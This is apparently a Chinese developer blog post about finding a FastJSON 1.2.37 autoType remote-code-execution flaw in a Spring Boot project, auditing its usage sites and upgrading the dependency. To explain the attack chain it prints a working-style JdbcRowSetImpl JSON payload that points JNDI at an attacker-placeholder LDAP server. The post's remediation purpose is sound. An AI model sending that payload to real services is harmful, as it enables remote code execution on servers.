☰
Java安全漏洞排查:FastJSON 1.2.37 autoType风险实录与升级Fastjson2完整方案
2026/10/18 15:24:10 网站建设 项目流程

老炮踩坑录 · F03· 翻车现场系列

·基于「企业融合评估平台」真实源码,给整个 pom.xml 做一次安全 CT

·关键词:FastJSON · autoType · RCE · CVE · 依赖安全 · pom.xml 体检

👋 欢迎阅读

🏠个人主页:知守观
📘我的专栏:老炮踩坑录
💻当前内容:Java安全漏洞排查

文章目录

    • 引子:安全扫描报告出来的那刻,我沉默了
    • autoType 是什么?为什么能远程执行代码?
    • 1.2.37 有多脆弱?一张 CVE 清单
    • 给 pom.xml 做一次安全 CT
      • 体检结果
      • 为什么没人更新?
    • 项目里 FastJSON 到底怎么用的?
      • 场景一:HTTP 响应解析(攻击面:中)
      • 场景二:Session 反序列化(攻击面:低)
      • 场景三:全局 HTTP 消息转换器(攻击面:高)
      • 场景四:JSON 序列化输出(攻击面:低)
      • 攻击面汇总
    • 怎么改?三步走
      • 第一步:紧急止血——开启 SafeMode(5 分钟)
      • 第二步:升级版本(30 分钟)
      • 第三步:给 pom.xml 建立安全巡检机制
    • FastJSON 的启示:选型一时爽,维护火葬场
      • 为什么项目里同时有 FastJSON 和 Jackson?
      • 老炮的建议
    • 这个坑给我的教训
    • pom.xml 安全巡检 Checklist

引子:安全扫描报告出来的那刻,我沉默了

2022 年下半年,公司接了个企业测评的单子。第三方安全机构拿着扫描器对着我们的系统扫了一圈,三天后报告就出来了。

安全工程师打电话过来,语气很客气的说:

“您好,我们检测到您的系统存在一个远程代码执行(RCE)漏洞,CVSS 评分 9.8,建议立即修复。”

我心想:不至于吧,Spring Boot 项目,能有什么 RCE?

拿到报告打开一看,傻眼了,漏洞描述写着:

漏洞名称:Alibaba FastJSON autoType 远程代码执行漏洞 风险等级:严重(CVSS 9.8) 影响版本:FastJSON < 1.2.68 当前版本:FastJSON 1.2.37

于是打开pom.xml,搜了一下fastjson:

<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.37</version></dependency>

1.2.37。2018 年 5 月发布的版本。距离安全报告出具日,已经四年半没有更新了。

更扎心的是——我搜了一下整个项目的 Java 源码,import com.alibaba.fastjson出现了25 处,遍布登录、鉴权、报告生成、Session 缓存等核心链路。

也就是说,这个四年半没更新的 JSON 库,不是某个边缘模块在用——它是整个系统的 JSON 基础设施。

autoType 是什么?为什么能远程执行代码?

先看一段代码。项目里LoginServiceImpl.java的登录流程,有这么一行:

// LoginServiceImpl.java L248Stringresult=JSON.parseObject(resultMap.get("result").toString()).getString("data");

JSON.parseObject()做的事情是:拿到一个 JSON 字符串,解析成 Java 对象。

正常情况下,JSON 长这样:

{"code":200,"msg":"success","data":{"username":"zhangsan"}}

解析出来就是一个JSONObject,没什么问题。

但如果 JSON 长这样呢?

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/exploit","autoCommit":true}

注意这个"@type"字段。FastJSON 的 autoType 机制会这样做:

  1. 看到@type,取出值com.sun.rowset.JdbcRowSetImpl
  2. 用Class.forName()加载这个类
  3. 根据 JSON 里的其他字段,调用对应的 setter 方法
  4. setDataSourceName("ldap://attacker.com/exploit")→ JNDI 查找 → 连接攻击者的 LDAP 服务器 →下载并执行恶意 class 文件

整个过程:一段 JSON 字符串 → 远程代码执行。

不需要认证,不需要任何特殊权限,只要你的接口接收 JSON 并且用了 FastJSON 解析。

这就是 autoType RCE 的完整攻击链。

1.2.37 有多脆弱?一张 CVE 清单

FastJSON 的 autoType 漏洞不是一个 CVE,而是一串。因为每修一次,安全研究员就找到新的绕过方式,形成了"打地鼠"式的攻防拉锯:

我们的 1.2.37,上面四个 CVE 全部命中。

不是"可能存在风险",是确定可以被远程攻击。

安全报告里写的那句话我现在还记得:

“当前版本 1.2.37 存在已知的远程代码执行漏洞,攻击者可通过构造恶意 JSON 请求实现服务器端任意代码执行,无需任何身份认证。”

给 pom.xml 做一次安全 CT

FastJSON 只是冰山一角。既然安全扫描已经开始了,我干脆把整个pom.xml拉出来做一次全面体检。

体检结果


9 个依赖,7 个有风险,3 个严重。

最刺眼的是两行:

  • commons-fileupload 1.3:2013 年的版本,存在 CVE-2023-24998(DoS 漏洞,CVSS 7.5)
  • Spring Boot 2.1.0:2018 年的版本,2022 年 11 月已经彻底停止维护

这个项目不是在做开发,是在考古。

为什么没人更新?

原因很简单:当初能跑就行。

2022 年这个项目,是别人 2019 年搭建的骨架。当时 Spring Boot 2.1.0 还是"最新稳定版",FastJSON 1.2.37 是"经过验证的老版本"。没人会想到两年后这些版本全变成了安全漏洞。世上没有无 Bug 的系统,只有不断迭代升级的系统。

但 “没人想到” 不等于 “不会发生”。

项目里 FastJSON 到底怎么用的?

光说版本危险还远远不够,我们得看攻击面有多大。我扫了一遍整个项目的 FastJSON 使用场景:

场景一:HTTP 响应解析(攻击面:中)

// LoginServiceImpl.java L178JSONObjectjsonObject=JSON.parseObject(resultMap.get("result").toString());

这里是解析内部 HTTP 调用的返回值。数据来源是后端服务之间的通信,不是用户直接输入的。

攻击面中等——如果攻击者能劫持内部服务通信(比如同网段的一台被控机器),就可以注入恶意 JSON。

场景二:Session 反序列化(攻击面:低)

// SessionCacheUtils.java L173returnJSON.parseObject(userInfoObj.toString(),SysAccount.class);

这里用了parseObject(String, Class)的形式,指定了目标类型为SysAccount.class。

表面上看,指定了 Class 似乎安全一些——FastJSON 会尝试把 JSON 映射到SysAccount的字段上。但在 1.2.37 版本中,如果 JSON 里嵌套了@type字段,即使外层指定了 Class,内层的 autoType 仍然会被触发。

场景三:全局 HTTP 消息转换器(攻击面:高)

// AutoConfiguration.java(导入部分)importcom.alibaba.fastjson.serializer.SerializerFeature;importcom.alibaba.fastjson.support.config.FastJsonConfig;importcom.alibaba.fastjson.support.spring.FastJsonHttpMessageConverter;

虽然当前AutoConfiguration.java里没有显式注册FastJsonHttpMessageConverter的 Bean,但这些 import 说明曾经配置过。而且 Spring Boot 的自动配置机制会检测 classpath 上的 FastJSON——如果spring.factories里有注册,消息转换器可能默认就生效了。

这意味着:所有@RequestBody接收的 JSON 请求,都可能经过 FastJSON 解析。

如果真是这样,攻击面就是所有对外暴露的 API 接口。

场景四:JSON 序列化输出(攻击面:低)

// WebUtils.java L548writeJson(response,JSON.toJSONString(object),MediaType.APPLICATION_JSON_UTF8_VALUE);// AuthAspect.java L323returnJSON.toJSONString(fail);

toJSONString()是序列化方向(Java 对象 → JSON 字符串),不涉及 autoType 反序列化。但SerializerFeature的某些配置(比如WriteClassName)会在输出时写入@type,为后续的反序列化攻击埋下种子。

攻击面汇总


结论:攻击面比想象的大。如果 HTTP 消息转换器真的默认生效了,那每一个 POST 接口都是一个潜在的攻击入口。

怎么改?三步走

第一步:紧急止血——开启 SafeMode(5 分钟)

FastJSON 1.2.68 引入了safeMode模式,彻底禁用 autoType,不管黑白名单:

ParserConfig.getGlobalInstance().setSafeMode(true);

加在Application.java的main()方法里,第一行。

但问题是——1.2.37 没有 SafeMode。SafeMode 是 1.2.68 才加的。

所以对于 1.2.37,唯一的止血方案是:升级版本。

第二步:升级版本(30 分钟)

方案 A:升级到 FastJSON 1.2.83(1.x 最终版)

<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.83_noneautotype</version></dependency>

注意 artifactId 是fastjson1.2.83_noneautotype——这是官方发布的永久禁用 autoType的版本,专门给不想折腾的老项目用。

改完 pom.xml,有跑一遍全量回归测试,确保所有 JSON 解析正常。

方案 B:迁移到 FastJSON 2.x

<dependency><groupId>com.alibaba.fastjson2</groupId><artifactId>fastjson2</artifactId><version>2.0.40</version></dependency>

FastJSON 2 是完全重写的版本,默认禁用 autoType,API 兼容 1.x(包名从com.alibaba.fastjson改为com.alibaba.fastjson2)。

但迁移成本更高——25 处 import 要改,部分 API 有细微差异。

对于这个项目,我推荐方案 A:改动最小,风险最低,一行 pom.xml 修改就能解决。

有个细节我没完全确认:fastjson1.2.83_noneautotype和普通1.2.83的兼容性差异到底有多大?官方说API一样,但项目里25处调用场景复杂,有没有人踩过迁移后行为不一致的坑?有经验的兄弟评论区指点一下。

第三步:给 pom.xml 建立安全巡检机制

升级 FastJSON 只是治标。真正要解决的是**“依赖几年没人管”**这个问题。

做法一:接入 OWASP Dependency-Check

<plugin><groupId>org.owasp</groupId><artifactId>dependency-check-maven</artifactId><version>8.4.0</version><executions><execution><goals><goal>check</goal></goals></execution></executions></plugin>

每次mvn package自动扫描依赖的 CVE,有高危漏洞直接构建失败。

做法二:CI/CD 里加 Snyk / 阿里云制品扫描

如果用 Jenkins 或 GitLab CI,加一个安全扫描阶段,每次提交自动检测。

做法三:人工巡检——最低成本

每个月花 10 分钟,跑一次mvn versions:display-dependency-updates,看看哪些依赖有新版本。不需要每个都升,但至少知道哪些是过时的。

FastJSON 的启示:选型一时爽,维护火葬场

回过头看,FastJSON 在这个项目里的问题不只是版本老——选它本身就是个值得讨论的问题。

为什么项目里同时有 FastJSON 和 Jackson?

看 pom.xml:

<!-- FastJSON --><dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.37</version></dependency><!-- Jackson(Spring Boot 自带) --><dependency><groupId>com.fasterxml.jackson.datatype</groupId><artifactId>jackson-datatype-guava</artifactId><version>2.9.8</version></dependency>

Spring Boot 默认用 Jackson 做 JSON 序列化。项目又引入了 FastJSON。两套 JSON 库共存,到底谁在干活?

答案是:都在干。

  • Spring MVC 的@RequestBody/@ResponseBody默认走Jackson
  • 业务代码里的JSON.parseObject()/JSON.toJSONString()走FastJSON
  • 如果FastJsonHttpMessageConverter被注册了,Spring MVC 就走FastJSON

两套库,两套配置,两套序列化行为。Long型字段在 Jackson 里默认序列化成数字,在 FastJSON 里也是数字,但Date字段的格式、null值的处理、循环引用的行为——全都不一样。

这就是选型不统一的代价:表面上两个库都能用,实际上没人说得清到底谁在什么时候起了作用。

老炮的建议

这个坑给我的教训

教训一:依赖不是引入就完了,它是有生命周期的。

引入一个第三方库,就像招了一个员工——你得持续跟进它的版本更新、安全公告、社区活跃度。一个四年半没更新的依赖,就是一个四年半没人管的员工,指不定什么时候捅出篓子。

教训二:安全扫描不是走过场。

如果不是等保测评逼着扫了一遍,这个 FastJSON 1.2.37 不知道还要在项目里躺多久。它不报错、不抛异常、业务跑得欢——但漏洞就在那里,等着被利用。

教训三:选型时的"方便",都是维护时的"债务"。

FastJSON 的 API 确实比 Jackson 简洁——JSON.parseObject()一行搞定,不用配ObjectMapper。但当初省下的每一行代码,都变成了日后的维护成本。

最后问一句:你们项目有没有接入依赖安全扫描?是每次构建自动扫,还是等保测评前临时抱佛脚?评论区聊聊,我看看有多少项目在“裸奔”。

pom.xml 安全巡检 Checklist

我们的项目上线前都应该对 pom.xml文件做一次安全漏洞检查,并修改出现的漏洞。

你的项目还在用1.2.37吗?评论区说说你遇到的安全坑。

自查打卡:打开你的pom.xml,搜fastjson,把版本号打在评论区。我看看有多少项目还在用1.x。


下期预告:《我用 Executors 创建线程池,被阿里规约第一页打了脸》

我们把安全漏洞改完了,下一步该改代码了。newFixedThreadPool(5)背后藏着一个无界队列,任务堆积,OOM 只是时间问题。阿里开发手册第一页就写了"禁止使用 Executors 创建线程池",这个项目偏偏全用了。

下期我们讲讲这个项目里的线程池踩坑实录,以及ThreadPoolExecutor的正确配置方式。

我是老炮,18 年 Java 老兵,仍在一线。如对您有点帮助,希望您点赞、收藏加关注。关注「Java老炮踩坑录」,不错过每一篇真实案例,少踩坑。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询